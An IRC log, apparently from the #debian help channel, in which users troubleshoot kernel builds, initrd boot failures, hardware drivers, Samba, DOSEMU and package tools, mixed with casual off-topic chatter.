| 14:18.33 | ircdevil | id say that cnn is in the pocket of the kittyhawks |
| 14:18.35 | oven | bob2 - and probably a hundred were killed in traffic, but that's too common to be mentioned. |
| 14:18.35 | toothpick | initech, thanks apt-spy |
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| 14:18.50 | toothpick | Kraig I have the word sid instead of unstable...is that the same thing? |
| 14:18.54 | ircdevil | bob2 i think malaria is 200 mio a year |
| 14:19.17 | ircdevil | but im not sure they all die - it may be the number of infections |
| 14:19.20 | bob2 | oven: that's a good point as well. |
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| 14:19.28 | Kraig | toothpick: i putted the dirs up, just put it there, don't do what you're doing |
| 14:19.31 | bob2 | 200 million people dying from malaria each year sounds a little high. |
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| 14:19.37 | oven | bob2 - but if a plane crashes and 50 die, it's headline stuff. |
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| 14:19.42 | ircdevil | bob2 yeah, hmmm ill check |
| 14:19.55 | toothpick | ok |
| 14:20.04 | chemicallyrelian | who saw 'The awful truth?' |
| 14:20.18 | bob2 | me! |
| 14:20.20 | oven | chemicallyrelian - I saw the awful truth yesterday |
| 14:20.26 | mesja | ive configured my new kernel (2.6.0), ive run make, then make install, then make modules_install. I've run mkinitrd, and added the image it produces to the lilo configuration, i've re-run /sbin/lilo, and rebooted. And i still get the following: RAMDISK: couldnt find valid ram disk image starting at 0. VFS: cannot open root device "304" or unknown-block(3,4), followed by a kernel panic. Any ideas? |
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| 14:21.05 | elmig | hello guys |
| 14:21.05 | bob2 | why are you using initrd? |
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| 14:21.20 | ircdevil | bob2 2.7 million deaths per year : http://www.malaria.org/currentstatus.html |
| 14:21.21 | elmig | i need someone to commit a translation do base-config |
| 14:21.28 | elmig | anyone available? |
| 14:21.31 | oven | mesja - does the initrd contain the driver for ide and ext2? |
| 14:21.45 | mesja | bob2: my boot partition is ext3 and ext3 is loaded as a module |
| 14:21.48 | bob2 | elmig: I doubt it. |
| 14:21.48 | oven | mesja - mount the initrd using the loop device and check |
| 14:22.01 | bob2 | mesja: why not just build it into the kernel? |
| 14:22.05 | elmig | bob2 : why? |
| 14:22.06 | mesja | oven: 2 secs, just checking... |
| 14:22.07 | elmig | vacation? |
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| 14:22.18 | mesja | bob2: ive tried that, same problem |
| 14:22.21 | bob2 | elmig: I doubnt there's anyone around who has comit rights to base-config atm. |
| 14:22.36 | elmig | where can i find such being ? |
| 14:22.38 | bob2 | mesja: then it's looking at the wrong partition. did you use devfs or something? |
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| 14:22.46 | bob2 | elmig: the debiabn-boot list? |
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| 14:22.53 | elmig | again ?!!! |
| 14:23.01 | bob2 | what? |
| 14:23.01 | DelEat | ouch... got 147 bad sectors... |
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| 14:23.05 | mesja | bob2: nope, no devfs |
| 14:23.05 | DelEat | time to backup... |
| 14:23.07 | elmig | i'm desperate it's the last file from PT translation |
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| 14:23.19 | bob2 | elmig: #debiain-boot |
| 14:23.24 | bob2 | elmig: er, #debian-boot |
| 14:23.35 | bob2 | grand master flash kicks ass |
| 14:23.55 | initech | bob2: heh, you *are* old :-) |
| 14:24.20 | me | HALLO? |
| 14:24.22 | me | ich bins |
| 14:24.31 | bob2 | initech: hah, it's on TV, I wasn't even though of when they broke up. |
| 14:24.35 | bob2 | assuming they did break up. |
| 14:24.39 | bob2 | !+german |
| 14:24.40 | dpkg | rumour has it, german is #debian.de - deutschsprachige Debian-Hilfe gibt es in #debian.de |
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| 14:25.12 | chemicallyrelian | yah, velcie faber ist dass? |
| 14:25.30 | initech | bob2: well i remember their first album |
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| 14:26.05 | mesja | oven: the ext3 module is on the image in lib/modules/2.6.0/kernel/fs/ |
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| 14:26.36 | oven | mesja - good. |
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| 14:26.49 | bob2 | initech: wow, you *are* old ;-) |
| 14:26.50 | max_ | hi , where should i see the default page of tomcat? ( http://localhost/..(what) ) ?? |
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| 14:26.54 | ToreSB | rcw: ping? |
| 14:26.56 | initech | bob2: yep :-( |
| 14:27.09 | bob2 | max_: doesn't the tomcat docs explain it? |
| 14:27.15 | max_ | ive placed some jsp files in work directory but nothing happens |
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| 14:27.29 | Sciboy | Hi |
| 14:27.37 | mesja | oven: any idea what else could be wrong? |
| 14:27.51 | bob2 | max_: tomcat isn't something you can just drop files in dirs and go, you need to udnerstand hwo it worksd and create srupid packages, iirc. |
| 14:28.10 | mesja | oven: it seems like its not mounting the ramdisk correctly. what could be the cause of that? |
| 14:28.16 | oven | mesja - no, I'm sorry. Besides, I have to go now :) |
| 14:28.23 | chemicallyrelian | if tomcat like java servlets, its a whole world of pain you don't wanna be in. |
| 14:28.24 | Sciboy | I need a cheap (mega mini or flat screen) for a computer im building.... Any ideas? |
| 14:28.42 | bob2 | Sciboy: you forgot a word in that sentence. |
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| 14:28.43 | oven | mesja - oh, there's one thing: Have you got support for the file system of the ramdisk? |
| 14:28.50 | oven | cramfs, that is? |
| 14:28.53 | bob2 | buit *into* the kernel. |
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| 14:29.09 | oven | bob2 - heh, yes :) |
| 14:29.17 | oven | bob2 - no use having cramfs.o in the ramdisk :) |
| 14:29.18 | mesja | havent, checked, will look now, thanks |
| 14:29.26 | Sciboy | Please? |
| 14:29.35 | oven | mesja - but save yourself the trouble and don't use initrd if you can help it |
| 14:29.36 | bob2 | oven: well, it's probably perty, but not too useful for booting :) |
| 14:29.43 | oven | hfhf |
| 14:29.54 | oven | but I've gotta run. |
| 14:29.56 | bob2 | Sciboy: ask your question again, you forgot a word. |
| 14:29.58 | oven | see you :) |
| 14:29.59 | bob2 | adios! |
| 14:30.04 | mesja | oven: cramfs support is built in, unfortunately :/ |
| 14:30.09 | mesja | bye# |
| 14:30.26 | bob2 | does 2.6 still need the cramfs patch 2.4 kernels do? |
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| 14:30.50 | Sciboy | I need a cheap (mega mini or flat screen) for a computer im building.... Could someone please help me find some sort of solution? Any help would be greatly appreciated. |
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| 14:31.21 | Sciboy | bob2: Any betteR? |
| 14:31.23 | tomZ | can i undo a rm -rf on ext2? |
| 14:31.26 | max_ | bob2: i understand, i have some expierience with computers , i just ask if you know the startup page (as when http://localhost apache dedault page appears). isnt it the same with all computers? |
| 14:31.38 | bob2 | tomZ: apt-cache search undelete |
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| 14:31.42 | bob2 | tomZ: good luck... |
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| 14:32.02 | bob2 | Sciboy: "I need a cheap (mega mini or flat screen)"? cheap what? |
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| 14:32.16 | bob2 | max_: huh? tomcat is not a webserver. |
| 14:32.18 | chemicallyrelian | whats the theory behind ext2 undelete? fat was that the data is just marked gone, but not actually. ext2 is? what , same? |
| 14:32.23 | Sciboy | screen/monitor.... |
| 14:32.34 | bob2 | Sciboy: ok then. |
| 14:33.02 | bob2 | Sciboy: pricewatch.com then and be prepared to be kicked hard in the teeth by the shipping of a LCD from the US. |
| 14:33.11 | Zeograd | hi |
| 14:33.22 | bob2 | chemicallyrelian: I'm not sure, but the undelete howto on tldp.org mgiht have an answer. |
| 14:33.31 | Sciboy | bob2: Come on, that is suicide :P |
| 14:33.54 | bob2 | Sciboy: try your local LUG list if you want to know about local deals. |
| 14:33.59 | Sciboy | bob2: If i still had my mac classic i could rip it apart and use its 320x240 screen :P |
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| 14:34.45 | Coke | Hello. I have a via-rhine card I wish to connect to an ADSL modem. For some reason the via-rhine cannot autodetect the speer nor operation of the connection so I need to force it into 10Mb half duplex. I used mii-tool to set it to 10BaseT-HD (10Mb half duplex), but I still have a tremendous packet loss. My question is: will setting the speed and operation through module parameter do any difference that the mii-tool cannot do? |
| 14:34.49 | chemicallyrelian | *dreams of owning a mac laptop to run linux on* |
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| 14:34.56 | Sciboy | I could always rig up my VR helmet to do the job :P |
| 14:35.24 | max_ | bob2: ok thank you for your help it was very helpful, RTFM RTFM RTFM i ve read TFM |
| 14:35.41 | Sciboy | Hmmm, eye piece screen :) |
| 14:35.49 | Kraig | mac: crash different |
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| 14:36.53 | bob2 | Sciboy: oatley electronics in melbourne sell that sort of thing. |
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| 14:37.09 | bob2 | max_: tomcat is rather well documented, but it's extremely complicated. |
| 14:37.22 | Sciboy | bob2: semi VR helmet? |
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| 14:37.46 | bob2 | Sciboy: little screens. your original question still makes no sense to me at all, but I assume you want some sort of little CRT? |
| 14:37.55 | bob2 | Coke_: checked the cable? |
| 14:38.15 | bob2 | max_: glad I'm not in your shoes :) |
| 14:38.29 | Coke | bob2: indeed. it works with my other cards. |
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| 14:38.52 | Sciboy | bob2: Anything small that i could carry in a bag, since the computer i made is a bag :P |
| 14:39.42 | Wyzard | What's the correct device file in Debian for a generic USB HID device? The manpage for apcupsd says to use /dev/usb/hid/hiddev*, but I don't have a /dev/usb/hid and there's no code in MAKEDEV to create it. |
| 14:40.23 | Coke | bob2: I have no blocking firewall, the cable is OK, I tried setting duplex with mii-tool, but nothing seems to work. |
| 14:40.25 | chemicallyrelian | wyzard what is this for? |
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| 14:40.48 | Sciboy | bob2: I have run out of ideas for what to google for, i want to look for a single eyepiece thingy, that they use like in Virtual Reality Helmets :P |
| 14:40.51 | Wyzard | chemicallyrelian: My UPS, which connects via USB to report its power status |
| 14:41.20 | Wyzard | chemicallyrelian: /proc/bus/usb/devices shows it as connected and associated with the "hid" driver, but I don't know what device file to use to actually talk to it |
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| 14:42.03 | chemicallyrelian | you poor bastard wyzard. |
| 14:42.17 | Wyzard | ? |
| 14:42.35 | chemicallyrelian | usb UPS. hope you're not using a usb hub |
| 14:42.50 | Shay | heh |
| 14:43.01 | mfbian | i need help: i can't get spellcheck to work in abiword2 |
| 14:43.17 | max_ | bob2: glad im not an asshole like you. im stuck here for a couple of hours, must do it work and i hear only 'malakies' .bye |
| 14:43.24 | Wyzard | chemicallyrelian: It's connected directly to the USB port on the back of my computer. What's wrong with connecting a UPS through a USB hub though? |
| 14:43.25 | bob2 | Wyzard: you need raw hid support for that, and it sounds like something you'd need to understand rather wekll before using...read the kernel docs? |
| 14:43.28 | bob2 | ah |
| 14:43.40 | bob2 | wtf was max babbling on about? |
| 14:43.53 | bob2 | and wtf is "gr"? |
| 14:44.00 | Wyzard | bob2: I have raw HID support in my kernel, and /proc/bus/usb/devices shows the UPS as connected and associated with the hid driver. I'm just looking for the device file. |
| 14:44.10 | asg | bob2: greece |
| 14:44.23 | bob2 | ah |
| 14:44.30 | bob2 | Wyzard: ah |
| 14:44.37 | asg | bob2: didn't like the 'hoi polloi' I guess :) |
| 14:44.42 | bob2 | haha |
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| 14:44.54 | Wyzard | bob2: as the apcupsd manpage refers to /dev/usb/hid/hiddev[0-9], and I don't have a "hid" subdirectory in my /dev/usb, and grepping MAKEDEV for "usb" doesn't yield any lines that look like they create it. |
| 14:44.55 | chemicallyrelian | wyzard, a usb hub that isn't plugged into the UPS but the UPS is plugged into a USB hub which is pluged into your PC means that when the power goes off the USB hub shuts down and your PC no onger gets powerstate updates from the UPS. |
| 14:45.10 | Wyzard | chemicallyrelian: lol, that's a good point. :-) |
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| 14:45.36 | Zap-W | <PROTECTED> |
| 14:45.36 | neewt | Anyone managed to compile "snot" (testing script for snort) on debian (sarge) ? |
| 14:45.38 | Wyzard | chemicallyrelian: I have five USB ports and only four USB devices so I don't own an external USB hub, but FWIW, my Ethernet hub is on the UPS :-) |
| 14:45.39 | chemicallyrelian | i know. but i've SEEN it done. |
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| 14:45.50 | Zap-W | is that high load average? |
| 14:45.57 | bob2 | no |
| 14:46.10 | bob2 | depending on what you're doing. |
| 14:46.14 | bob2 | but I wouldn't be worried. |
| 14:46.17 | Zap-W | compiling a kernel |
| 14:46.27 | Shay | heh |
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| 14:46.31 | bob2 | than that's fine. |
| 14:46.40 | bob2 | it means gcc was always ready to go |
| 14:46.40 | chemicallyrelian | yeah wyzard, thats the other point. people forget about the ethernet stuff needing power too. |
| 14:47.07 | Zap-W | any docs about how to read this load averagfe? |
| 14:47.24 | chemicallyrelian | someone on NPR stated that voice over IP is a risk, due to it not being self-powered. |
| 14:47.35 | Wyzard | chemicallyrelian: Well, I just got the UPS two days ago as a gift, so I have everything plugged into a Belkin power strip / surge protector, and now I just plugged the power strip into the UPS |
| 14:47.42 | asg | Zap-W: basically, the number is a measure of the average number of processes waiting for CPU over a period of 1, 5, and 15 minutes |
| 14:47.42 | trans_err | i'm having some strange problems and wondered if anyone had some pointers: if i run GL screen savers after awhile my computer hard freezes, my computer has been refusing to log out of GNOME, and I just recieved a kernel panic.... any ideas? |
| 14:47.45 | gothtec | On my laptop, I can hotswap the cdrom for the floppy drive by just ejecting the cdrom and inserting the floppy drive. Mounting/unmounting/etc. a floppy then works fine. However, when I eject the floppy drive and reinsert the cdrom, then try to mount it, the system totally locks up and I have to do a hard reset. Any ideas? (2.4.23 kernel, if that helps) |
| 14:47.58 | bob2 | trans_err: nvidia drivers? |
| 14:48.09 | chemicallyrelian | well i hope it works out for ya wyzard. |
| 14:48.15 | Wyzard | thanks |
| 14:48.18 | trans_err | bob2: thats my thought but they've never been this bad before |
| 14:48.20 | bob2 | binary-only ones, that is. |
| 14:48.28 | trans_err | bob2: yeah |
| 14:48.32 | bob2 | trans_err: when I load them and startx it reboots my computer,. |
| 14:48.35 | razerboy | is usb ups supported in woody? |
| 14:48.42 | bob2 | trans_err: I'm impressed it runs at all for you :) |
| 14:48.52 | trans_err | bob2: ouch- I guess I'm lucky |
| 14:48.59 | bob2 | trans_err: /topic |
| 14:49.03 | bob2 | trans_err: they might know |
| 14:49.04 | Wyzard | gothtec: The fact that it works in even one case is pure coincidence, because it's not designed to work like that. :-) |
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| 14:49.38 | trans_err | bob2: danke |
| 14:49.41 | Wyzard | gothtec: You're supposed to tell the system that the device is going to go away before you remove it, so it can be properly unregistered |
| 14:49.53 | gothtec | Wyzard: using what? |
| 14:50.00 | bob2 | Wyzard: does unregistering IDE devices work properly these days? |
| 14:50.10 | Wyzard | bob2: dunno, I've never done it |
| 14:51.13 | Wyzard | bob2: I read recently that IDE devices register fine, but partitions aren't automatically rescanned, and that causes inconsistencies. But I imagine that shouldn't cause problems for a CD-ROM drive, since CDs aren't partitioned. |
| 14:51.50 | gothtec | I kinda need that floppy drive right now, to make images of my dos 6.22 floppies for DOSEMU. I'll just reboot after reinserting the cdrom, then |
| 14:52.21 | Wyzard | gothtec: To register/unregister IDE devices, use hdparm; for floppies, I don't know. |
| 14:52.23 | cisa | ti ginete edo ? |
| 14:53.26 | gothtec | Wyzard: well, the floppy doesn't need to be registered in the first place, it seems, as I can just mount it right after inserting it, and it wasnt even there at boot time, so perhaps just unregistering the cdrom properly before ejecting it will work. |
| 14:53.43 | Zap-W | asg : how does it measure processes ? what are they ,programs with PIDs ? |
| 14:53.44 | Wyzard | Is it important that /var/lib/dpkg/available contain a listing of all packages? |
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| 14:54.30 | shaddai | Wyzard: try to erase it and see what happens :) |
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| 14:54.38 | Sebulba02 | heh |
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| 14:54.45 | ^^xyber | slmlar |
| 14:54.48 | bob2 | dpkg notices |
| 14:54.48 | dpkg | bob2: I don't know, could you explain it? |
| 14:54.54 | bob2 | but doesn't care, iirc |
| 14:54.57 | bob2 | dselect does |
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| 14:55.11 | bob2 | it can be easily regenerated with "dselect update", anyway. |
| 14:55.29 | Wyzard | shaddai: I just did, since it became corrupted after a crash. Now it only contains entries for the two packages I had to reinstall (also due to corruption), and I'm wondering if that's something that needs to be fixed. |
| 14:55.58 | Wyzard | bob2: cool, that's what I was looking for |
| 14:55.58 | Zap-W | anyone know if it's possible to make a small dos image to be loaded with loadlin? |
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| 15:00.24 | bob2 | "this is hardcore!" |
| 15:00.53 | asg | bob2: Pulp? |
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| 15:00.55 | DeLeTe | hi |
| 15:01.10 | asg | bob2: admittedly, my orange juice doesn't have pulp but ... |
| 15:01.26 | DeLeTe | i have problem with a pcmcia card netgear MA401 ? have somebody got this card ? |
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| 15:02.03 | DeLeTe | it's ok in the cardctl ident but i can't load any interface with iwconfig |
| 15:02.06 | DeLeTe | ??? |
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| 15:03.32 | bob2 | asg: it's a BAND! |
| 15:03.39 | asg | bob2: hehe, cool |
| 15:03.41 | bob2 | asg: perhaps only YOUNG PEOPLE know of it ;-) |
| 15:03.48 | bob2 | </zippy> |
| 15:04.04 | asg | bob2: hey, I'm not that ancient :) just never heard of em |
| 15:04.04 | streuner | DeLeTe: what laptop do you have? |
| 15:04.21 | DeLeTe | streuner, a medion |
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| 15:04.40 | DeLeTe | streuner, you have this pcmcia card ? |
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| 15:06.07 | streuner | DeLeTe: no, what model? |
| 15:06.41 | DeLeTe | MA401 |
| 15:07.00 | DeLeTe | my laptop ? |
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| 15:07.23 | streuner | yep |
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| 15:08.13 | DeLeTe | medion MD 6451 |
| 15:08.13 | Felesh_ | buenas |
| 15:08.40 | Felesh_ | alguien sabe pq no me tira el raton usb en el 2.6? tengo puesto HID y todo, pero no se me enciende ni la luz del raton |
| 15:08.56 | bob2 | !+spanish |
| 15:08.57 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish speakers: please go to #debian-es, you will get a lot more help there. |
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| 15:09.59 | tapas | hi, i had some problemns with installing flash. the installer said "all right", but it never appeared in about:plugins in mozilla.. is unstables mozilla package too new? |
| 15:11.24 | hackeron | .. |
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| 15:14.17 | lorax | if i have a ntfs drive on a linux box, and i set samba up for all users public, can i see it froma winxp machine on my network? |
| 15:14.29 | MoDaX | tapas: which way have you installed flash? |
| 15:14.57 | tapas | MoDaX: i ran the installer and tried it once systemwide and once for my user account.. i'll try again.. |
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| 15:15.17 | bob2 | lorax: yes, but it won't be writable. |
| 15:15.23 | scoopex | lorax: "see" is a browsing issue - that doesn't depend to open shares... |
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| 15:15.59 | return0 | Hi |
| 15:16.45 | scoopex | lorax: enter the ip-address in the "search computer" dialog .....if that doesn't give a result something ist wrong with your windows or samba-setup :-) |
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| 15:16.48 | MoDaX | tapas: apt-get install flashplugin-nonfree |
| 15:16.59 | return0 | Is there any MlDonkey version available for Woody? Packages is down, and I've exhausted Google |
| 15:17.00 | tapas | MoDaX: also tried that. same result.. i'll try again |
| 15:17.00 | lorax | ok thanks |
| 15:17.01 | montag | hi, i'm trying to recompile kernel 2.6, but i obtain: make[1]: *** [scripts/kconfig/mconf.o] Error 1 |
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| 15:17.25 | lorax | bob2 : i just want to copy the info off this drive and then format it for linux |
| 15:17.41 | return0 | P.S. I don't have Debian but am interested in Debian and MLDonkey |
| 15:17.50 | bob2 | <PROTECTED> |
| 15:17.56 | bob2 | return0: www.apt-get.org |
| 15:18.01 | bob2 | montag: /topic |
| 15:18.02 | return0 | thanks mate |
| 15:18.17 | bob2 | hah, indeed an aussie. |
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| 15:18.30 | return0 | :) |
| 15:18.44 | montag | bob2: but i know how to recompile a kernel, but i want to know what this error means :-) |
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| 15:19.06 | Il_proff | hi all |
| 15:19.07 | Il_proff | ... |
| 15:19.14 | Il_proff | could some one help me with my initrd? |
| 15:19.16 | bob2 | montag: that's not the error, look further up. |
| 15:19.29 | bob2 | Il_proff: are you building your own kernel? |
| 15:19.36 | Il_proff | yes |
| 15:20.01 | Il_proff | wiht standard commands like make and make clean ecc. ecc. |
| 15:20.10 | bob2 | Il_proff: why are you using initrd at all then? |
| 15:20.15 | montag | bob2: EINTR and EAGAIN undeclared..... |
| 15:20.46 | Il_proff | i've a scsii controlle that are not in the vanilla tree |
| 15:20.48 | Il_proff | ... |
| 15:20.57 | bob2 | Il_proff: so don't use a initrd. easy. |
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| 15:21.09 | Mave | heh \n ... |
| 15:21.14 | bob2 | if you can't explain why you need an initrd for your own kernel, you don't need one. |
| 15:21.20 | Il_proff | bob2, and how can i load ad external module? |
| 15:21.24 | bob2 | just compile stuff into the kernel and stop wasting your time. |
| 15:21.34 | Il_proff | i'can't build inside the kernel ... |
| 15:21.37 | bob2 | Il_proff: what? buidl your own kernel if you must, just don't use initrd. |
| 15:21.40 | bob2 | why? |
| 15:21.47 | bob2 | oh, it doesn't come with source? |
| 15:22.02 | bob2 | montag: sounds like something wrong in the kernel, what does lkml say? |
| 15:22.08 | Mave | bob2: uhm you've missed one of his lines (because of too much dots around here) ;) |
| 15:22.30 | Il_proff | bob2, yes it come with source ... |
| 15:22.30 | Mave | bob2: < bob2> Il_proff: so don't use a initrd. easy. |
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| 15:23.11 | bob2 | Il_proff: but it's not in the kernel itself? at all? |
| 15:23.23 | Il_proff | bob2, yes! |
| 15:23.53 | bob2 | ah |
| 15:24.13 | Il_proff | actually i use a bf24, with initrd made my installation process ... and all it's fine! |
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| 15:24.35 | Il_proff | sorry ... made by the installations proces |
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| 15:26.08 | Mave | Il_proff: ream man mkinitrd |
| 15:26.12 | Mave | s/ream/read |
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| 15:26.29 | Il_proff | Mave, ??? sorry? |
| 15:26.35 | lorax | bob2 : you familer with ntfs? |
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| 15:27.08 | Mave | Il_proff: you want to create a initrd with your custo module ? you can use mkinitrd command |
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| 15:27.25 | Il_proff | Mave, i've done it! |
| 15:27.25 | Mave | Il_proff: details are in man page |
| 15:27.37 | Mave | Il_proff: ah ask your question then please |
| 15:27.43 | Il_proff | wiht mkinitrd -o /boot/myimage.img /lib/modules/2.4.23 |
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| 15:28.39 | Mave | have you edited files in /etc/mkinitrd before ? |
| 15:28.41 | Il_proff | but when i boot the kernel i received an error like on reiserfs |
| 15:29.06 | bino | hello, i have just put a sound card into my debian woody box, how do i get it to work? ;) |
| 15:29.21 | Il_proff | Mave, only the line MODULES=All |
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| 15:29.27 | Mave | bino: /msg dpkg sound |
| 15:29.35 | bino | thatnx |
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| 15:30.03 | tapas | MoDaX: funny. now te install worked.. the script mumbled somethig about removing the old plugin.. |
| 15:30.45 | Il_proff | so probably ill guess that i've to change something ... but i'dunno what :-) |
| 15:30.48 | bob2 | lorax: it's ot writable from linux, sorry. samba doesn't care about the udnerlying filesystem, either. |
| 15:31.24 | Mave | there were a project using native windows ntfs driver with linux |
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| 15:32.25 | sladegen | !aloha |
| 15:32.35 | sladegen | ~aloha |
| 15:32.43 | sladegen | !hi |
| 15:32.44 | dpkg | hello, sladegen |
| 15:32.55 | Il_proff | this it's frustrating!!! |
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| 15:33.33 | Mave | yes it's |
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| 15:33.55 | sladegen | what? |
| 15:34.09 | Mave | this |
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| 15:34.32 | sladegen | *this is it |
| 15:34.32 | Mave | it's a bit quite here. because of holdiay etc ? |
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| 15:35.54 | no_maam_ | hi |
| 15:35.54 | no_maam_ | where can I find a backport for cpufreq for linux-2.4.23? |
| 15:35.55 | sladegen | grrr, stil 600 idlers/lurkers/sleepers/zombies |
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| 15:35.55 | tarzeau | not quite but quiet |
| 15:35.55 | tarzeau | sladegen: www.linuks.mine.nu/debian-faq/ |
| 15:35.55 | Mave | tarzeau: thanks for correcting. i wouldn't do it myself :) |
| 15:35.55 | MoDaX | tapas: ok. however, you could take look at /usr/lib/mozilla/Plugins and clean up it if necessary |
| 15:35.57 | tarzeau | but you can say she's got quite large boobies |
| 15:36.16 | bob2 | ok then. |
| 15:36.19 | gothtec | Do anyone have a dosemu.conf file suitable for running DOS 6.22 or similar? I have no idea how to setup mine. |
| 15:36.23 | tapas | MoDaX: ok |
| 15:36.31 | kenta | hello all debian users! happy new year! well i got a sound problem with the i810_audio module i got a Silicon Integrated Systems [SiS] SiS7012 PCI Audio Accelerator (rev a0) i get the error "Can't find a suitable libao driver. (Is device in use?)" with mpg123 |
| 15:36.36 | Mave | tarzeau: ah wish I could ;) |
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| 15:36.57 | tarzeau | gothtec: WHY? |
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| 15:37.15 | gothtec | tarzeau: I wanna play old dos games :P |
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| 15:37.22 | Mave | like moo2 ? |
| 15:37.26 | tarzeau | gothtec: why don't you install it the real way? |
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| 15:37.41 | kenta | i do have OSS sound module installed and libao so i need some help or other view point on the problem coz i realy dont know whats making the problem... |
| 15:38.03 | gothtec | tarzeau: I dare not resize my partitions to make room for it. Resizing killed my system once before |
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| 15:38.19 | tarzeau | gothtec: what software did you use and what filesystem? |
| 15:38.30 | sladegen | kenta: usinf kde or gnome? sound server might be blocking the device... |
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| 15:38.35 | gothtec | tarzeau: parted on ext2, I believe |
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| 15:38.43 | tarzeau | gothtec: i did it a few times too, with no problems ... ehh only once when i resized ntfs, windows didn't work anymore :) |
| 15:38.58 | kenta | sladegen - dont have x installed yet whant to get everything working b4 i move on to x :) |
| 15:39.00 | tarzeau | (it wasn't my filesystem of course, and yes accessing the files from linux was possible still) |
| 15:39.18 | gothtec | tarzeau: besides, running stuff like irc and dcgui and such at the same time is nice |
| 15:39.44 | tarzeau | gothtec: what games are that, anyways` |
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| 15:40.15 | gothtec | tarzeau: doom, death rally, quake, carmageddon.. I have a bunch of old games from my time with a 486 |
| 15:40.29 | tarzeau | gothtec: you know doom and quake you can play in linux, native? |
| 15:40.33 | kenta | sladegen - get the error: i810_audio: only 48Khz playback available. on module init in modconf if that maby help |
| 15:40.59 | bino | right i now have sound....can anyone tell me whether i can use the mic or whether i need more libs.... |
| 15:41.12 | sladegen | kenta: hmmm it was just a wilde guess... sorry never had acquainted myself with that audio device. |
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| 15:41.27 | gothtec | tarzeau: aye, but not the rest of them. besides, getting opengl and whatever is required to work on this laptop is a pain in the arse. |
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| 15:41.35 | kenta | sladegen - well were in the same club then :) |
| 15:41.39 | Mave | bino: for recording ? audacity can do that iirc |
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| 15:42.44 | bino | Mave: i'm setting up a streaming audio server, and testing it with a mic....i need it in OSS format....i think... |
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| 15:42.58 | intx | how do I repeat a command a certain amount of times? |
| 15:43.27 | tarzeau | using for/seq |
| 15:43.32 | tarzeau | what shell? |
| 15:43.39 | intx | isn't there a command line programm that repeats? |
| 15:43.40 | intx | bash |
| 15:43.43 | tarzeau | or while |
| 15:43.47 | tarzeau | sure there is plenty |
| 15:44.07 | sladegen | for i in `seq 1 10`; do echo $i; done |
| 15:44.40 | Mave | seq ? I've looked for that command whole of my life :) |
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| 15:45.29 | sladegen | Mave: yea good for wgeting pr0n ;) |
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| 15:46.59 | Mave | shrink* |
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| 15:47.05 | DrArcHeH | grow* |
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| 15:47.19 | Il_proff | what's would be the command to generate the initrd in the initrd.conf ? |
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| 15:49.00 | Mave | too quiet |
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| 15:49.12 | Mave | !make noise |
| 15:49.13 | docelic | play quake |
| 15:49.31 | Mave | I used to years ago |
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| 15:49.39 | DebSharkY | hi |
| 15:49.57 | Zentrix | how do i change the hostname? i just changed it in /etc/hostname but at the bash shell it still says username@oldhostname |
| 15:49.58 | Mave | I can play/simulate flightgear |
| 15:50.11 | ljlane | Zentrix, man hostname |
| 15:50.18 | Zentrix | aha! |
| 15:50.19 | DebSharkY | i have a SATA RAID drive with promisse fasttrak controler in kernel 2.6.0 |
| 15:50.40 | DebSharkY | In the SATA disk i have a FAT32 Partition |
| 15:50.59 | DebSharkY | How can i find them in linux? |
| 15:51.02 | XinmingLai | hi,anyone could tell me how to show all of the answer on this dpkg robot? |
| 15:51.19 | ljlane | Zentrix: the initialization scripts do this: hostname -F /etc/hostname |
| 15:51.41 | Zentrix | ah, thanks |
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| 15:52.54 | Mave | ZentI'm the only one here mixing testing with stable unstable and experimental |
| 15:53.11 | Mave | s/ZentI'm/Am I |
| 15:53.40 | Zentrix | yes sir, i'm afraid we are all sane |
| 15:53.49 | bino | does anyone know anything about OSS? |
| 15:53.50 | DebSharkY | Please helppppp |
| 15:53.53 | DebSharkY | me |
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| 15:54.19 | Zentrix | DebSharkY: go read the man will ya? |
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| 15:55.22 | Mave | Zentrix: actually mine is the sanest thing if you want a secure stable and not so old packages. |
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| 15:55.56 | Zentrix | maybe so, but it takes forever to set up |
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| 15:56.46 | jnagyjr | Muahahaha. I gave KDE da boot! |
| 15:56.55 | Mave | not so much. real problem is you can't trust that dependencies will continue to be dealable |
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| 15:57.57 | intx | what's a good pop3/imap server? |
| 15:58.01 | intx | ~imap |
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| 15:58.30 | mage_ | uwimapd |
| 15:58.58 | mage_ | and popa3d for pop3 |
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| 16:00.55 | plazia | "don't start to learn now"? actively discouraging the pursuit of enlightenment and the acquisition of knowledge. That is not very "debian-like" :) |
| 16:01.26 | Sciboy | bob2: You still here? |
| 16:01.43 | Sciboy | bob2: I think i may have found a solution... |
| 16:01.57 | Mave | plazia: heh #debian is the reality not the junkyard of the project etc etc :P |
| 16:01.57 | Sciboy | bob2: Modding a PSONE LCD :P |
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| 16:06.28 | Zentrix | has anyone gotten a winxp client to connect to an apache webserver using webdav? |
| 16:06.31 | gothtec | When trying to run doom in dosemu with dos 6.22, I get "system software does not follow VCPI or DPMI specifications". What can I do? |
| 16:06.54 | gothtec | also, memmaker does not run for the same reasons |
| 16:07.01 | gothtec | something with the "memory manager" |
| 16:07.07 | Sciboy | gtg its 3AM here |
| 16:07.10 | JvA | Hi! I have a problem with getting my soundcard to work. I'm using kernel 2.4.23. I'm using the intel8x0 OSS-driver. It finds the card but times out. I guess it's because it doesn't recognize the id, LM 78. It's a AC '97 soundcard. |
| 16:07.13 | Sciboy | bye |
| 16:07.22 | Zentrix | gothtec: why are you event trying to run doom in dosemu? |
| 16:07.36 | plazia | is there a good source of information for using those little 64 meg usb pen drives with flash ram in linux? |
| 16:07.50 | gothtec | Zentrix: I want to run all my old dos games in dosemu. Just figured I would start with doom. |
| 16:07.51 | plazia | My mum bought me one for crimbo. |
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| 16:08.41 | Zentrix | gothtec: there are plenty of linux binaries for doom, no need to do it in dosemu, same goes for many other old dos games, you really only want to use an emulator as a last resort |
| 16:09.11 | plazia | yeah the UAE is good. |
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| 16:09.31 | Zentrix | plazia: crimbo? |
| 16:09.38 | plazia | xmas |
| 16:09.45 | gothtec | Zentrix: are there binaries for death rally, carmageddon, ports of call and everything? |
| 16:09.51 | plazia | I don't want to keep having to type sync. |
| 16:10.01 | Zentrix | plazia: http://www.extremetech.com/article2/0,3973,1256701,00.asp and learn to use google will ya? |
| 16:10.03 | plazia | I have tried mounting with options in the fstab like sync and async |
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| 16:10.16 | plazia | but the drive is using fat32 and I don't think it is syncing after the file operations. |
| 16:10.23 | Zentrix | gothtec: probably not, but why not use wine for those, i think that might be easier |
| 16:10.31 | nashirak | Are there any error log files for Gnome 2? I know that gdm logs errors but does gnome itself log errors anywhere? |
